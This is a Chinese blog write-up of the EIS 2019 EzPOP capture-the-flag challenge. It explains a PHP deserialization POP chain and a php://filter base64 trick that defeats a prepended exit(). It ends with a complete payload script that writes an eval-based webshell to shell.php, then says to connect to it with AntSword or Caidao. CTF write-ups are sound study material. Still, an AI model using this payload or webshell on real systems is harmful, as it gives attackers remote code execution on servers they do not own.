[EIS 2019]EzPOP 1

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反序列化,文件上传,代码审计

解题思路 

首先耐心阅读完每段代码,发现__destruct,unserialize(),考察反序列化知识,file_put_contents()考察文件上传知识。

第一:发现file_put_contents函数有两个参数filename和data,所以一个是写入shell的路径和shell的数据
data与死亡exit进行连接(可绕过)
第二 :filename参数是options['prefix']和$name进行拼接的结果,而这里的**$name是形参**,所以这个$name是A类的key变量,是由save函数传递过来的由于options[‘prefix’]可控所以这里我们可以使

options['prefix']="php://filter/write=convert.base64-decode/resource=";
key="webshell.php";

 

第三:构造shell的内容,也就是data变量,而data变量被serialize函数处理,是通过set函数中的$value变量传递过来的,而$value变量是A类中的**$contents变量传递**过来的,所以我们可以构造cache这个变量为数组,然后经过两个函数的处理,我们可以控制complete这个变量为shell的数据,经过json_encod这个函数的处理之后,由于json格式的字符都不满足base64编码的要求,所以我们可以将数据进行base64编码绕过,也就是

A->complete=base64_encode('xxx',base64_encode('<?php @eval($_POST["ro4lsc"]);?>'))

 

首先将shellcode进行base64编码使得base64decode的时候不会影响其内容,然后再次进行base64_encode是为了绕过死亡exit,由于解码之后只剩21个字符,所以这里需要自己添加三个字符,使得前面有24个字符可以base64正常解码不影响后面shellcode的执行那么到这里data的内容也构造好了,

第四:可是我们发现使用php伪协议只解了一次编码,而我们这里经历了两次base64编码前面提到了一个serialize函数
可以看到返回值是$serialize,也就是说这里我们可以让这个变量为base64_decode函数对data变量进行解码。

第五:public function getForStorage这里我们还需要传入一个cache为数组内容为空

A->cache=array();

 

第六:现在我们可以看A类save函数这个地方的利用很重要,它调用了getForStorage函数,后面的$this->store这个地方得是对象B才能调用set函数。所以

A->store = new B();

 

解题流程

代码审计

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

// 对变量进行赋值

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

// array_flip() 用于反转/交换数组中所有的键名以及它们关联的键值
// => 简单来说就是=>符号来分隔键和值,左侧表示键,右侧表示值
// array_intersect_key() 比较两个数组的键名,并返回交集:
// foreach() 循环用于遍历数组每一次循环,当前数组元素的键与值就都会被赋值给 $key 和 $value 变量(数字指针会逐一地移动),在进行下一次循环时,你将看到数组中的下一个键与值。

// 过滤与cachedProperties变量中键不同的值

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);
        return json_encode([$cleaned, $this->complete]);
    }

// Storage 存储
// 对cache变量的内容进行过滤,传递给cleaned,最终返回将cleaned内容转换为json格式后传给complete。
// 因为不存在cache变量,所以需要我们构造,所以cache可控,所以complete可控。

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

// 将getForStorage函数的返回值赋给contents,然后用store变量调用set函数
// set函数存在于B类中

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

// 如果不存在autosave变量就调用save函数

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

// 将expire变量转换为int类型

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

// 拼接字符串
// 发现这里的options[‘prefix’]可控

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

// 将传入的data参数将会格式化为string类型
// 可以看到$serialize变量可控

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

// is_null()判断参数是否为NULL,若为空,则将options['expire']赋值给expire
// expire变量调用了getExpireTime这个函数,格式化为int类型
// filename变量调用了getCacheKey这个函数,所以filename这个变量最终的值是和options[‘prefix’]拼接而成,然后根据filename创建目录
// 接着看到data变量调用了serialize函数,正好这个函数需要传入一个值
// 接下来对data进行压缩
// 最后这个地方data数据与<?php exit();?连接,也就是说即使我们传上了木马也无济于事,会直接退出,也就是PHP中的死亡exit().

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

 

payload:

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;

    public function __construct()
    {
        $this->cache = array();
        $this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["ro4lsc"]);?>'));
        $this->key = "shell.php";
        $this->store = new B();
        $this->autosave = false;
        $this->expire = 0;
    }


}
class B{
    public $options = array();
    function __construct()
    {
        $this->options['serialize'] = 'base64_decode';
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
        $this->options['data_compress'] = false;
    }
}
echo urlencode(serialize(new A()));

 

验证

使用?data=传递参数,它会在当前工作目录创建一个shell.php,菜刀orAntSword连接getshell。

新知识点

php://filter的妙用

这个地方data数据与<?php exit();?>连接,也就是说即使我们传上了木马也无济于事,会直接退出,也就是PHP中的死亡exit(),但是也不是没有绕过的方法,这里引用@p神的一篇文章由于<、?、()、;、>、\n都不是base64编码的范围,所以base64解码的时候会自动将其忽略,所以解码之后就剩phpexit了,但是呢base64算法解码时是4个字节一组,所以我们还需要在前面加个字符

题目地址

https://buuoj.cn/challenges

posted @ 2022-03-30 20:43  WeQi_Blog  阅读(129)  评论(0编辑  收藏  举报